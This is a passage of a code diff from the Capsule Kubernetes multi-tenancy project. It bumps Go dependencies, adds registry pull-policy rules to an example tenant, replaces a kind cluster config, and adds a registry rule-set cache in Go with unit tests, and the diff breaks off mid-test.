    +golang.org/x/crypto v0.47.0 h1:V6e3FRj+n4dbpw86FJ8Fv7XVOql7TEwpHapKoMJ/GO8=
    +golang.org/x/crypto v0.47.0/go.mod h1:ff3Y9VzzKbwSSEzWqJsJVBnWmRwRSHt/6Op5n9bQc4A=
     golang.org/x/exp v0.0.0-20250408133849-7e4ce0ab07d0 h1:R84qjqJb5nVJMxqWYb3np9L5ZsaDtB+a39EqjV0JSUM=
     golang.org/x/exp v0.0.0-20250408133849-7e4ce0ab07d0/go.mod h1:S9Xr4PYopiDyqSyp5NjCrhFrqg6A5zA2E/iPHPhqnS8=
     golang.org/x/mod v0.29.0 h1:HV8lRxZC4l2cr3Zq1LvtOsi/ThTgWnUk/y64QSs8GwA=
     golang.org/x/mod v0.29.0/go.mod h1:NyhrlYXJ2H4eJiRy/WDBO6HMqZQ6q9nk4JzS3NuCK+w=
    +golang.org/x/mod v0.31.0 h1:HaW9xtz0+kOcWKwli0ZXy79Ix+UW/vOfmWI5QVd2tgI=
    +golang.org/x/mod v0.31.0/go.mod h1:43JraMp9cGx1Rx3AqioxrbrhNsLl2l/iNAvuBkrezpg=
     golang.org/x/net v0.47.0 h1:Mx+4dIFzqraBXUugkia1OOvlD6LemFo1ALMHjrXDOhY=
     golang.org/x/net v0.47.0/go.mod h1:/jNxtkgq5yWUGYkaZGqo27cfGZ1c5Nen03aYrrKpVRU=
    +golang.org/x/net v0.49.0 h1:eeHFmOGUTtaaPSGNmjBKpbng9MulQsJURQUAfUwY++o=
    +golang.org/x/net v0.49.0/go.mod h1:/ysNB2EvaqvesRkuLAyjI1ycPZlQHM3q01F02UY/MV8=
     golang.org/x/oauth2 v0.33.0 h1:4Q+qn+E5z8gPRJfmRy7C2gGG3T4jIprK6aSYgTXGRpo=
     golang.org/x/oauth2 v0.33.0/go.mod h1:lzm5WQJQwKZ3nwavOZ3IS5Aulzxi68dUSgRHujetwEA=
    +golang.org/x/oauth2 v0.34.0 h1:hqK/t4AKgbqWkdkcAeI8XLmbK+4m4G5YeQRrmiotGlw=
    +golang.org/x/oauth2 v0.34.0/go.mod h1:lzm5WQJQwKZ3nwavOZ3IS5Aulzxi68dUSgRHujetwEA=
     golang.org/x/sync v0.19.0 h1:vV+1eWNmZ5geRlYjzm2adRgW2/mcpevXNg50YZtPCE4=
     golang.org/x/sync v0.19.0/go.mod h1:9KTHXmSnoGruLpwFjVSX0lNNA75CykiMECbovNTZqGI=
     golang.org/x/sys v0.38.0 h1:3yZWxaJjBmCWXqhN1qh02AkOnCQ1poK6oF+a7xWL6Gc=
     golang.org/x/sys v0.38.0/go.mod h1:OgkHotnGiDImocRcuBABYBEXf8A9a87e/uXjp9XT3ks=
    +golang.org/x/sys v0.40.0 h1:DBZZqJ2Rkml6QMQsZywtnjnnGvHza6BTfYFWY9kjEWQ=
    +golang.org/x/sys v0.40.0/go.mod h1:OgkHotnGiDImocRcuBABYBEXf8A9a87e/uXjp9XT3ks=
     golang.org/x/term v0.37.0 h1:8EGAD0qCmHYZg6J17DvsMy9/wJ7/D/4pV/wfnld5lTU=
     golang.org/x/term v0.37.0/go.mod h1:5pB4lxRNYYVZuTLmy8oR2BH8dflOR+IbTYFD8fi3254=
    +golang.org/x/term v0.39.0 h1:RclSuaJf32jOqZz74CkPA9qFuVTX7vhLlpfj/IGWlqY=
    +golang.org/x/term v0.39.0/go.mod h1:yxzUCTP/U+FzoxfdKmLaA0RV1WgE0VY7hXBwKtY/4ww=
     golang.org/x/text v0.31.0 h1:aC8ghyu4JhP8VojJ2lEHBnochRno1sgL6nEi9WGFGMM=
     golang.org/x/text v0.31.0/go.mod h1:tKRAlv61yKIjGGHX/4tP1LTbc13YSec1pxVEWXzfoeM=
    +golang.org/x/text v0.33.0 h1:B3njUFyqtHDUI5jMn1YIr5B0IE2U0qck04r6d4KPAxE=
    +golang.org/x/text v0.33.0/go.mod h1:LuMebE6+rBincTi9+xWTY8TztLzKHc/9C1uBCG27+q8=
     golang.org/x/time v0.14.0 h1:MRx4UaLrDotUKUdCIqzPC48t1Y9hANFKIRpNx+Te8PI=
     golang.org/x/time v0.14.0/go.mod h1:eL/Oa2bBBK0TkX57Fyni+NgnyQQN4LitPmob2Hjnqw4=
     golang.org/x/tools v0.38.0 h1:Hx2Xv8hISq8Lm16jvBZ2VQf+RLmbd7wVUsALibYI/IQ=
     golang.org/x/tools v0.38.0/go.mod h1:yEsQ/d/YK8cjh0L6rZlY8tgtlKiBNTL14pGDJPJpYQs=
    +golang.org/x/tools v0.40.0 h1:yLkxfA+Qnul4cs9QA3KnlFu0lVmd8JJfoq+E41uSutA=
    +golang.org/x/tools v0.40.0/go.mod h1:Ik/tzLRlbscWpqqMRjyWYDisX8bG13FrdXp3o4Sr9lc=
     gomodules.xyz/jsonpatch/v2 v2.5.0 h1:JELs8RLM12qJGXU4u/TO3V25KW8GreMKl9pdkk14RM0=
     gomodules.xyz/jsonpatch/v2 v2.5.0/go.mod h1:AH3dM2RI6uoBZxn3LVrfvJ3E0/9dG4cSrbuBJT4moAY=
     google.golang.org/genproto/googleapis/api v0.0.0-20250303144028-a0af3efb3deb h1:p31xT4yrYrSM/G4Sn2+TNUkVhFCbG9y8itM2S6Th950=
    @@ -268,6 +341,8 @@ google.golang.org/grpc v1.75.1 h1:/ODCNEuf9VghjgO3rqLcfg8fiOP0nSluljWFlDxELLI=
     google.golang.org/grpc v1.75.1/go.mod h1:JtPAzKiq4v1xcAB2hydNlWI2RnF85XXcV0mhKXr2ecQ=
     google.golang.org/protobuf v1.36.10 h1:AYd7cD/uASjIL6Q9LiTjz8JLcrh/88q5UObnmY3aOOE=
     google.golang.org/protobuf v1.36.10/go.mod h1:HTf+CrKn2C3g5S8VImy6tdcUvCska2kB7j23XfzDpco=
    +google.golang.org/protobuf v1.36.11 h1:fV6ZwhNocDyBLK0dj+fg8ektcVegBBuEolpbTQyBNVE=
    +google.golang.org/protobuf v1.36.11/go.mod h1:HTf+CrKn2C3g5S8VImy6tdcUvCska2kB7j23XfzDpco=
     gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
     gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c h1:Hei/4ADfdWqJk1ZMxUNpqntNwaWcugrBjAiHlqqRiVk=
     gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c/go.mod h1:JHkPIbrfpd72SG/EVd6muEfDQjcINNoR0C8j2r3qZ4Q=
    @@ -286,6 +361,8 @@ k8s.io/apimachinery v0.35.0 h1:Z2L3IHvPVv/MJ7xRxHEtk6GoJElaAqDCCU0S6ncYok8=
     k8s.io/apimachinery v0.35.0/go.mod h1:jQCgFZFR1F4Ik7hvr2g84RTJSZegBc8yHgFWKn//hns=
     k8s.io/apiserver v0.35.0 h1:CUGo5o+7hW9GcAEF3x3usT3fX4f9r8xmgQeCBDaOgX4=
     k8s.io/apiserver v0.35.0/go.mod h1:QUy1U4+PrzbJaM3XGu2tQ7U9A4udRRo5cyxkFX0GEds=
    +k8s.io/cli-runtime v0.35.0 h1:PEJtYS/Zr4p20PfZSLCbY6YvaoLrfByd6THQzPworUE=
    +k8s.io/cli-runtime v0.35.0/go.mod h1:VBRvHzosVAoVdP3XwUQn1Oqkvaa8facnokNkD7jOTMY=
     k8s.io/client-go v0.35.0 h1:IAW0ifFbfQQwQmga0UdoH0yvdqrbwMdq9vIFEhRpxBE=
     k8s.io/client-go v0.35.0/go.mod h1:q2E5AAyqcbeLGPdoRB+Nxe3KYTfPce1Dnu1myQdqz9o=
     k8s.io/cluster-bootstrap v0.34.2 h1:oKckPeunVCns37BntcsxaOesDul32yzGd3DFLjW2fc8=
    @@ -296,6 +373,8 @@ k8s.io/klog/v2 v2.130.1 h1:n9Xl7H1Xvksem4KFG4PYbdQCQxqc/tTUyrgXaOhHSzk=
     k8s.io/klog/v2 v2.130.1/go.mod h1:3Jpz1GvMt720eyJH1ckRHK1EDfpxISzJ7I9OYgaDtPE=
     k8s.io/kube-openapi v0.0.0-20250910181357-589584f1c912 h1:Y3gxNAuB0OBLImH611+UDZcmKS3g6CthxToOb37KgwE=
     k8s.io/kube-openapi v0.0.0-20250910181357-589584f1c912/go.mod h1:kdmbQkyfwUagLfXIad1y2TdrjPFWp2Q89B3qkRwf/pQ=
    +k8s.io/kube-openapi v0.0.0-20251125145642-4e65d59e963e h1:iW9ChlU0cU16w8MpVYjXk12dqQ4BPFBEgif+ap7/hqQ=
    +k8s.io/kube-openapi v0.0.0-20251125145642-4e65d59e963e/go.mod h1:kdmbQkyfwUagLfXIad1y2TdrjPFWp2Q89B3qkRwf/pQ=
     k8s.io/utils v0.0.0-20251222233032-718f0e51e6d2 h1:OfgiEo21hGiwx1oJUU5MpEaeOEg6coWndBkZF/lkFuE=
     k8s.io/utils v0.0.0-20251222233032-718f0e51e6d2/go.mod h1:xDxuJ0whA3d0I4mf/C4ppKHxXynQ+fxnkmQH0vTHnuk=
     k8s.io/utils v0.0.0-20260108192941-914a6e750570 h1:JT4W8lsdrGENg9W+YwwdLJxklIuKWdRm+BC+xt33FOY=
    @@ -304,15 +383,25 @@ sigs.k8s.io/apiserver-network-proxy/konnectivity-client v0.31.2 h1:jpcvIRr3GLoUo
     sigs.k8s.io/apiserver-network-proxy/konnectivity-client v0.31.2/go.mod h1:Ve9uj1L+deCXFrPOk1LpFXqTg7LCFzFso6PA48q/XZw=
     sigs.k8s.io/cluster-api v1.12.1 h1:s3DivSZjXdu2HPyOtV/n6XwSZBaIycZdKNs4y8X+3lY=
     sigs.k8s.io/cluster-api v1.12.1/go.mod h1:+S6WJdi8UPdqv5q9nka5al3ed/Qa0zAcSBgzTaa9VKA=
    +sigs.k8s.io/cluster-api v1.12.2 h1:+b+M2IygfvFZJq7bsaloNakimMEVNf81zkGR1IiuxXs=
    +sigs.k8s.io/cluster-api v1.12.2/go.mod h1:2XuF/dmN3c/1VITb6DB44N5+Ecvsvd5KOWqrY9Q53nU=
     sigs.k8s.io/controller-runtime v0.22.4 h1:GEjV7KV3TY8e+tJ2LCTxUTanW4z/FmNB7l327UfMq9A=
     sigs.k8s.io/controller-runtime v0.22.4/go.mod h1:+QX1XUpTXN4mLoblf4tqr5CQcyHPAki2HLXqQMY6vh8=
    +sigs.k8s.io/controller-runtime v0.23.0 h1:Ubi7klJWiwEWqDY+odSVZiFA0aDSevOCXpa38yCSYu8=
    +sigs.k8s.io/controller-runtime v0.23.0/go.mod h1:DBOIr9NsprUqCZ1ZhsuJ0wAnQSIxY/C6VjZbmLgw0j0=
     sigs.k8s.io/gateway-api v1.4.1 h1:NPxFutNkKNa8UfLd2CMlEuhIPMQgDQ6DXNKG9sHbJU8=
     sigs.k8s.io/gateway-api v1.4.1/go.mod h1:AR5RSqciWP98OPckEjOjh2XJhAe2Na4LHyXD2FUY7Qk=
     sigs.k8s.io/json v0.0.0-20250730193827-2d320260d730 h1:IpInykpT6ceI+QxKBbEflcR5EXP7sU1kvOlxwZh5txg=
     sigs.k8s.io/json v0.0.0-20250730193827-2d320260d730/go.mod h1:mdzfpAEoE6DHQEN0uh9ZbOCuHbLK5wOm7dK4ctXE9Tg=
    +sigs.k8s.io/kustomize/api v0.21.0 h1:I7nry5p8iDJbuRdYS7ez8MUvw7XVNPcIP5GkzzuXIIQ=
    +sigs.k8s.io/kustomize/api v0.21.0/go.mod h1:XGVQuR5n2pXKWbzXHweZU683pALGw/AMVO4zU4iS8SE=
    +sigs.k8s.io/kustomize/kyaml v0.21.0 h1:7mQAf3dUwf0wBerWJd8rXhVcnkk5Tvn/q91cGkaP6HQ=
    +sigs.k8s.io/kustomize/kyaml v0.21.0/go.mod h1:hmxADesM3yUN2vbA5z1/YTBnzLJ1dajdqpQonwBL1FQ=
     sigs.k8s.io/randfill v1.0.0 h1:JfjMILfT8A6RbawdsK2JXGBR5AQVfd+9TbzrlneTyrU=
     sigs.k8s.io/randfill v1.0.0/go.mod h1:XeLlZ/jmk4i1HRopwe7/aU3H5n1zNUcX6TM94b3QxOY=
     sigs.k8s.io/structured-merge-diff/v6 v6.3.0 h1:jTijUJbW353oVOd9oTlifJqOGEkUw2jB/fXCbTiQEco=
     sigs.k8s.io/structured-merge-diff/v6 v6.3.0/go.mod h1:M3W8sfWvn2HhQDIbGWj3S099YozAsymCo/wrT5ohRUE=
    +sigs.k8s.io/structured-merge-diff/v6 v6.3.1 h1:JrhdFMqOd/+3ByqlP2I45kTOZmTRLBUm5pvRjeheg7E=
    +sigs.k8s.io/structured-merge-diff/v6 v6.3.1/go.mod h1:M3W8sfWvn2HhQDIbGWj3S099YozAsymCo/wrT5ohRUE=
     sigs.k8s.io/yaml v1.6.0 h1:G8fkbMSAFqgEFgh4b1wmtzDnioxFCUgTZhlbj5P9QYs=
     sigs.k8s.io/yaml v1.6.0/go.mod h1:796bPqUfzR/0jLAl6XjHl3Ck7MiyVv8dbTdyT3/pMf4=
    
  • hack/distro/capsule/example-setup/tenants.yaml+20 3 modified
    @@ -4,21 +4,38 @@ kind: Tenant
     metadata:
       name: solar
     spec:
    +  owners:
    +  - name: alice
    +    kind: User
       permissions:
         matchOwners:
         - matchLabels:
             team: platform
         - matchLabels:
             tenant: solar
    -  owners:
    -  - name: alice
    -    kind: User
       additionalRoleBindings:
       - clusterRoleName: 'view'
         subjects:
         - apiGroup: rbac.authorization.k8s.io
           kind: User
           name: joe
    +  rules:
    +    - enforce:
    +        registries:
    +        - url: "harbor/.*"
    +          policy:
    +          - "Never"
    +    - namespaceSelector:
    +        matchExpressions:
    +          - key: env
    +            operator: In
    +            values:
    +            - "prod"
    +      enforce:
    +        registries:
    +        - url: "harbor/v2/customer-registry/prod-image/.*"
    +          policy:
    +          - "Always"
     ---
     apiVersion: capsule.clastix.io/v1beta2
     kind: Tenant
    
  • hack/kind-cluster.yaml+8 0 added
    @@ -0,0 +1,8 @@
    +---
    +kind: Cluster
    +apiVersion: kind.x-k8s.io/v1alpha4
    +name: capsule
    +featureGates:
    +  ImageVolume: true
    +nodes:
    +- role: control-plane
    
  • hack/kind-cluster.yml+0 13 removed
    @@ -1,13 +0,0 @@
    -# With Kind configuration is used to
    -# share a folder between the outside sistem
    -# and the internal container (capsule-controller-manager),
    -# In this way we will be able to get the metadata
    -# generated by harpoon at the end of the e2e tests execution.
    -kind: Cluster
    -apiVersion: kind.x-k8s.io/v1alpha4
    -name: capsule-tracing
    -nodes:
    -- role: control-plane
    -  extraMounts:
    -  - hostPath: /tmp/results
    -    containerPath: /tmp/results
    
  • internal/cache/invalidation.go+26 0 added
    @@ -0,0 +1,26 @@
    +// Copyright 2020-2026 Project Capsule Authors
    +// SPDX-License-Identifier: Apache-2.0
    +
    +package cache
    +
    +import (
    +	"time"
    +
    +	metav1 "k8s.io/apimachinery/pkg/apis/meta/v1"
    +)
    +
    +func ShouldInvalidate(last *metav1.Time, now time.Time, interval time.Duration) bool {
    +	if interval <= 0 {
    +		return false
    +	}
    +
    +	if last == nil || last.IsZero() {
    +		return true
    +	}
    +
    +	if last.After(now) {
    +		return false
    +	}
    +
    +	return now.Sub(last.Time) >= interval
    +}
    
  • internal/cache/registries.go+232 0 added
    @@ -0,0 +1,232 @@
    +// Copyright 2020-2026 Project Capsule Authors
    +// SPDX-License-Identifier: Apache-2.0
    +
    +package cache
    +
    +import (
    +	"crypto/sha256"
    +	"encoding/hex"
    +	"fmt"
    +	"regexp"
    +	"sort"
    +	"strings"
    +	"sync"
    +
    +	corev1 "k8s.io/api/core/v1"
    +
    +	"github.com/projectcapsule/capsule/pkg/api"
    +)
    +
    +type RuleSet struct {
    +	ID         string
    +	Compiled   []CompiledRule
    +	HasImages  bool
    +	HasVolumes bool
    +}
    +
    +type CompiledRule struct {
    +	Registry        string
    +	RE              *regexp.Regexp
    +	AllowedPolicy   map[corev1.PullPolicy]struct{} // nil/empty => allow any
    +	ValidateImages  bool
    +	ValidateVolumes bool
    +}
    +
    +type RegistryRuleSetCache struct {
    +	mu sync.RWMutex
    +	rs map[string]*RuleSet
    +}
    +
    +func NewRegistryRuleSetCache() *RegistryRuleSetCache {
    +	return &RegistryRuleSetCache{
    +		rs: make(map[string]*RuleSet),
    +	}
    +}
    +
    +func (c *RegistryRuleSetCache) GetOrBuild(specRules []api.OCIRegistry) (rs *RuleSet, fromCache bool, err error) {
    +	if len(specRules) == 0 {
    +		return nil, false, nil
    +	}
    +
    +	id := c.HashRules(specRules)
    +
    +	c.mu.RLock()
    +	rs = c.rs[id]
    +	c.mu.RUnlock()
    +
    +	if rs != nil {
    +		return rs, true, nil
    +	}
    +
    +	// Build outside locks (regex compile etc.)
    +	built, err := buildRuleSet(id, specRules)
    +	if err != nil {
    +		return nil, false, err
    +	}
    +
    +	// Insert with double-check
    +	c.mu.Lock()
    +	defer c.mu.Unlock()
    +
    +	if c.rs == nil {
    +		c.rs = make(map[string]*RuleSet)
    +	}
    +
    +	// Another goroutine may have inserted meanwhile
    +	if rs = c.rs[id]; rs != nil {
    +		return rs, true, nil
    +	}
    +
    +	c.rs[id] = built
    +
    +	return built, false, nil
    +}
    +
    +func (c *RegistryRuleSetCache) Stats() int {
    +	c.mu.RLock()
    +	defer c.mu.RUnlock()
    +
    +	return len(c.rs)
    +}
    +
    +// activeIDs: set of ids currently referenced by RuleStatus in cluster.
    +func (c *RegistryRuleSetCache) PruneActive(activeIDs map[string]struct{}) int {
    +	c.mu.Lock()
    +	defer c.mu.Unlock()
    +
    +	removed := 0
    +
    +	for id := range c.rs {
    +		if _, ok := activeIDs[id]; ok {
    +			continue
    +		}
    +
    +		delete(c.rs, id)
    +
    +		removed++
    +	}
    +
    +	return removed
    +}
    +
    +func (c *RegistryRuleSetCache) HashRules(specRules []api.OCIRegistry) string {
    +	var b strings.Builder
    +
    +	b.Grow(len(specRules) * 64)
    +
    +	const (
    +		sepRule  = "\n"
    +		sepField = "\x1f"
    +		sepList  = "\x1e"
    +	)
    +
    +	for _, r := range specRules {
    +		url := strings.TrimSpace(r.Registry)
    +
    +		policies := make([]string, 0, len(r.Policy))
    +		for _, p := range r.Policy {
    +			policies = append(policies, strings.TrimSpace(string(p)))
    +		}
    +
    +		sort.Strings(policies)
    +
    +		validations := make([]string, 0, len(r.Validation))
    +		for _, v := range r.Validation {
    +			validations = append(validations, strings.TrimSpace(string(v)))
    +		}
    +
    +		sort.Strings(validations)
    +
    +		b.WriteString(url)
    +		b.WriteString(sepField)
    +
    +		for i, p := range policies {
    +			if i > 0 {
    +				b.WriteString(sepList)
    +			}
    +
    +			b.WriteString(p)
    +		}
    +
    +		b.WriteString(sepField)
    +
    +		for i, v := range validations {
    +			if i > 0 {
    +				b.WriteString(sepList)
    +			}
    +
    +			b.WriteString(v)
    +		}
    +
    +		b.WriteString(sepRule)
    +	}
    +
    +	sum := sha256.Sum256([]byte(b.String()))
    +
    +	return hex.EncodeToString(sum[:])
    +}
    +
    +// Has is useful in tests and debugging.
    +func (c *RegistryRuleSetCache) Has(id string) bool {
    +	c.mu.RLock()
    +	defer c.mu.RUnlock()
    +
    +	_, ok := c.rs[id]
    +
    +	return ok
    +}
    +
    +// InsertForTest can be behind a build tag if you prefer, but it's fine to keep simple.
    +//
    +//nolint:unused
    +func (c *RegistryRuleSetCache) insertForTest(id string) {
    +	c.mu.Lock()
    +	defer c.mu.Unlock()
    +
    +	if c.rs == nil {
    +		c.rs = make(map[string]*RuleSet)
    +	}
    +
    +	c.rs[id] = &RuleSet{ID: id}
    +}
    +
    +func buildRuleSet(id string, specRules []api.OCIRegistry) (*RuleSet, error) {
    +	rs := &RuleSet{
    +		ID:       id,
    +		Compiled: make([]CompiledRule, 0, len(specRules)),
    +	}
    +
    +	for _, r := range specRules {
    +		re, err := regexp.Compile(r.Registry)
    +		if err != nil {
    +			return nil, fmt.Errorf("invalid registry regex %q: %w", r.Registry, err)
    +		}
    +
    +		cr := CompiledRule{
    +			Registry: r.Registry,
    +			RE:       re,
    +		}
    +
    +		if len(r.Policy) > 0 {
    +			cr.AllowedPolicy = make(map[corev1.PullPolicy]struct{}, len(r.Policy))
    +			for _, p := range r.Policy {
    +				cr.AllowedPolicy[p] = struct{}{}
    +			}
    +		}
    +
    +		for _, v := range r.Validation {
    +			switch v {
    +			case api.ValidateImages:
    +				cr.ValidateImages = true
    +				rs.HasImages = true
    +			case api.ValidateVolumes:
    +				cr.ValidateVolumes = true
    +				rs.HasVolumes = true
    +			}
    +		}
    +
    +		rs.Compiled = append(rs.Compiled, cr)
    +	}
    +
    +	return rs, nil
    +}
    
  • internal/cache/registries_test.go+524 0 added
    @@ -0,0 +1,524 @@
    +package cache
    +
    +import (
    +	"sync"
    +	"testing"
    +
    +	corev1 "k8s.io/api/core/v1"
    +
    +	"github.com/projectcapsule/capsule/pkg/api"
    +)
    +
    +func set(ids ...string) map[string]struct{} {
    +	m := make(map[string]struct{}, len(ids))
    +	for _, id := range ids {
    +		m[id] = struct{}{}
    +	}
    +	return m
    +}
    +
    +func TestRegistryRuleSetCache_GetOrBuild_ReturnsFromCacheFlag(t *testing.T) {
    +	c := NewRegistryRuleSetCache()
    +
    +	rules := []api.OCIRegistry{
    +		{
    +			Registry:   "harbor/.*",
    +			Validation: []api.RegistryValidationTarget{api.ValidateImages, api.ValidateVolumes},
    +			Policy:     []corev1.PullPolicy{corev1.PullNever},
    +		},
    +	}
    +
    +	rs1, fromCache1, err := c.GetOrBuild(rules)
    +	if err != nil {
    +		t.Fatalf("unexpected err: %v", err)
    +	}
    +	if rs1 == nil {
    +		t.Fatalf("expected ruleset, got nil")
    +	}
    +	if fromCache1 {
    +		t.Fatalf("expected fromCache=false on first build, got true")
    +	}
    +
    +	rs2, fromCache2, err := c.GetOrBuild(rules)
    +	if err != nil {
    +		t.Fatalf("unexpected err: %v", err)
    +	}
    +	if rs2 == nil {
    +		t.Fatalf("expected ruleset, got nil")
    +	}
    +	if !fromCache2 {
    +		t.Fatalf("expected fromCache=true on second call, got false")
    +	}
    +
    +	if rs1 != rs2 {
    +		t.Fatalf("expected same cached pointer, got rs1=%p rs2=%p", rs1, rs2)
    +	}
    +}
    +
    +func TestRuleSetCache_GetOrBuild_EmptyReturnsNil(t *testing.T) {
    +	c := NewRegistryRuleSetCache()
    +
    +	rs, _, err := c.GetOrBuild(nil)
    +	if err != nil {
    +		t.Fatalf("expected nil error, got %v", err)
    +	}
    +	if rs != nil {
    +		t.Fatalf("expected nil ruleset, got %#v", rs)
    +	}
    +
    +	rs, _, err = c.GetOrBuild([]api.OCIRegistry{})
    +	if err != nil {
    +		t.Fatalf("expected nil error, got %v", err)
    +	}
    +	if rs != nil {
    +		t.Fatalf("expected nil ruleset, got %#v", rs)
    +	}
    +
    +	if got := c.Stats(); got != 0 {
    +		t.Fatalf("expected Stats()=0, got %d", got)
    +	}
    +}
    +
    +func TestRuleSetCache_GetOrBuild_InvalidRegexReturnsError(t *testing.T) {
    +	c := NewRegistryRuleSetCache()
    +
    +	// invalid regex
    +	rules := []api.OCIRegistry{
    +		{
    +			Registry:   "([",
    +			Validation: []api.RegistryValidationTarget{api.ValidateImages},
    +			Policy:     []corev1.PullPolicy{corev1.PullAlways},
    +		},
    +	}
    +
    +	rs, _, err := c.GetOrBuild(rules)
    +	if err == nil {
    +		t.Fatalf("expected error, got nil")
    +	}
    +	if rs != nil {
    +		t.Fatalf("expected nil ruleset on error, got %#v", rs)
    +	}
    +
    +	if got := c.Stats(); got != 0 {
    +		t.Fatalf("expected Stats()=0 after failing build, got %d", got)
    +	}
    +}
    +
    +func TestRuleSetCache_GetOrBuild_DeduplicatesByContent(t *testing.T) {
    +	c := NewRegistryRuleSetCache()
    +
    +	rulesA := []api.OCIRegistry{
    +		{
    +			Registry:   "harbor/.*",
    +			Validation: []api.RegistryValidationTarget{api.ValidateImages, api.ValidateVolumes},
    +			Policy:     []corev1.PullPolicy{corev1.PullNever},
    +		},
    +	}
    +
    +	// same content but different backing slice
    +	rulesB := []api.OCIRegistry{
    +		{
    +			Registry:   "harbor/.*",
    +			Validation: []api.RegistryValidationTarget{api.ValidateImages, api.ValidateVolumes},
    +			Policy:     []corev1.PullPolicy{corev1.PullNever},
    +		},
    +	}
    +
    +	rs1, _, err := c.GetOrBuild(rulesA)
    +	if err != nil {
    +		t.Fatalf("unexpected err: %v", err)
    +	}
    +	rs2, _, err := c.GetOrBuild(rulesB)
    +	if err != nil {
    +		t.Fatalf("unexpected err: %v", err)
    +	}
    +
    +	// the whole point: should be the exact same pointer
    +	if rs1 != rs2 {
    +		t.Fatalf("expected same cached pointer, got rs1=%p rs2=%p", rs1, rs2)
    +	}
    +
    +	if got := c.Stats(); got != 1 {
    +		t.Fatalf("expected Stats()=1, got %d", got)
    +	}
    +
    +	// sanity: compiled fields are correct (no DeepEqual; check specific invariants)
    +	if rs1.ID == "" {
    +		t.Fatalf("expected non-empty ruleset ID")
    +	}
    +	if len(rs1.Compiled) != 1 {
    +		t.Fatalf("expected 1 compiled rule, got %d", len(rs1.Compiled))
    +	}
    +	cr := rs1.Compiled[0]
    +	if cr.RE == nil {
    +		t.Fatalf("expected compiled regexp, got nil")
    +	}
    +	if cr.Registry != "harbor/.*" {
    +		t.Fatalf("expected Registry to match input, got %q", cr.Registry)
    +	}
    +	if !cr.ValidateImages || !cr.ValidateVolumes {
    +		t.Fatalf("expected ValidateImages and ValidateVolumes true, got images=%v volumes=%v", cr.ValidateImages, cr.ValidateVolumes)
    +	}
    +	if rs1.HasImages != true || rs1.HasVolumes != true {
    +		t.Fatalf("expected ruleset flags HasImages/HasVolumes true, got images=%v volumes=%v", rs1.HasImages, rs1.HasVolumes)
    +	}
    +	if cr.AllowedPolicy == nil {
    +		t.Fatalf("expected AllowedPolicy map non-nil")
    +	}
    +	if _, ok := cr.AllowedPolicy[corev1.PullNever]; !ok {
    +		t.Fatalf("expected AllowedPolicy to contain PullNever")
    +	}
    +}
    +
    +func TestRuleSetCache_GetOrBuild_OrderMatters_LaterWins(t *testing.T) {
    +	c := NewRegistryRuleSetCache()
    +
    +	// Two rules with same items but swapped order
    +	// hashRules preserves rule order, so the IDs must differ.
    +	rules1 := []api.OCIRegistry{
    +		{Registry: ".*", Validation: []api.RegistryValidationTarget{api.ValidateImages}, Policy: []corev1.PullPolicy{corev1.PullAlways}},
    +		{Registry: "harbor/.*", Validation: []api.RegistryValidationTarget{api.ValidateImages}},
    +	}
    +	rules2 := []api.OCIRegistry{
    +		{Registry: "harbor/.*", Validation: []api.RegistryValidationTarget{api.ValidateImages}},
    +		{Registry: ".*", Validation: []api.RegistryValidationTarget{api.ValidateImages}, Policy: []corev1.PullPolicy{corev1.PullAlways}},
    +	}
    +
    +	rs1, _, err := c.GetOrBuild(rules1)
    +	if err != nil {
    +		t.Fatalf("unexpected err: %v", err)
    +	}
    +	rs2, _, err := c.GetOrBuild(rules2)
    +	if err != nil {
    +		t.Fatalf("unexpected err: %v", err)
    +	}
    +
    +	if rs1 == rs2 {
    +		t.Fatalf("expected different cached entries due to different rule order, got same pointer %p", rs1)
    +	}
    +	if rs1.ID == rs2.ID {
    +		t.Fatalf("expected different IDs for different order, got same %q", rs1.ID)
    +	}
    +	if got := c.Stats(); got != 2 {
    +		t.Fatalf("expected Stats()=2, got %d", got)
    +	}
    +
    +	// Verify compiled slice preserves the rule order we provided
    +	if len(rs1.Compiled) != 2 {
    +		t.Fatalf("expected 2 compiled rules, got %d", len(rs1.Compiled))
    +	}
    +	if rs1.Compiled[0].Registry != ".*" || rs1.Compiled[1].Registry != "harbor/.*" {
    +		t.Fatalf("expected compiled order to match input for rules1, got %q then %q",
    +			rs1.Compiled[0].Registry, rs1.Compiled[1].Registry)
    +	}
    +}
    +
    +func TestRuleSetCache_GetOrBuild_ConcurrentReturnsSamePointer(t *testing.T) {
    +	c := NewRegistryRuleSetCache()
    +
    +	rules := []api.OCIRegistry{
    +		{
    +			Registry:   "harbor/.*",
    +			Validation: []api.RegistryValidationTarget{api.ValidateImages, api.ValidateVolumes},
    +			Policy:     []corev1.PullPolicy{corev1.PullAlways, corev1.PullIfNotPresent},
    +		},
    +	}
    +
    +	const workers = 32
    +	var wg sync.WaitGroup
    +	wg.Add(workers)
    +
    +	results := make([]*RuleSet, workers)
    +	errs := make([]error, workers)
    +
    +	for i := 0; i < workers; i++ {
    +		go func(i int) {
    +			defer wg.Done()
    +			rs, _, err := c.GetOrBuild(rules)
    +			results[i] = rs
    +			errs[i] = err
    +		}(i)
    +	}
    +
    +	wg.Wait()
    +
    +	for i := 0; i < workers; i++ {
    +		if errs[i] != nil {
    +			t.Fatalf("worker %d got err: %v", i, errs[i])
    +		}
    +		if results[i] == nil {
    +			t.Fatalf("worker %d got nil ruleset", i)
    +		}
    +	}
    +
    +	// all pointers must match the first
    +	first := results[0]
    +	for i := 1; i < workers; i++ {
    +		if results[i] != first {
    +			t.Fatalf("expected same cached pointer across goroutines; got %p vs %p", first, results[i])
    +		}
    +	}
    +}
    +
    +func TestRegistryRuleSetCache_GetOrBuild_ConcurrentPointersAndFlags(t *testing.T) {
    +	c := NewRegistryRuleSetCache()
    +
    +	rules := []api.OCIRegistry{
    +		{Registry: "harbor/.*", Validation: []api.RegistryValidationTarget{api.ValidateImages}},
    +	}
    +
    +	const workers = 32
    +	var wg sync.WaitGroup
    +	wg.Add(workers)
    +
    +	results := make([]*RuleSet, workers)
    +	flags := make([]bool, workers)
    +	errs := make([]error, workers)
    +
    +	for i := 0; i < workers; i++ {
    +		go func(i int) {
    +			defer wg.Done()
    +			rs, fromCache, err := c.GetOrBuild(rules)
    +			results[i] = rs
    +			flags[i] = fromCache
    +			errs[i] = err
    +		}(i)
    +	}
    +	wg.Wait()
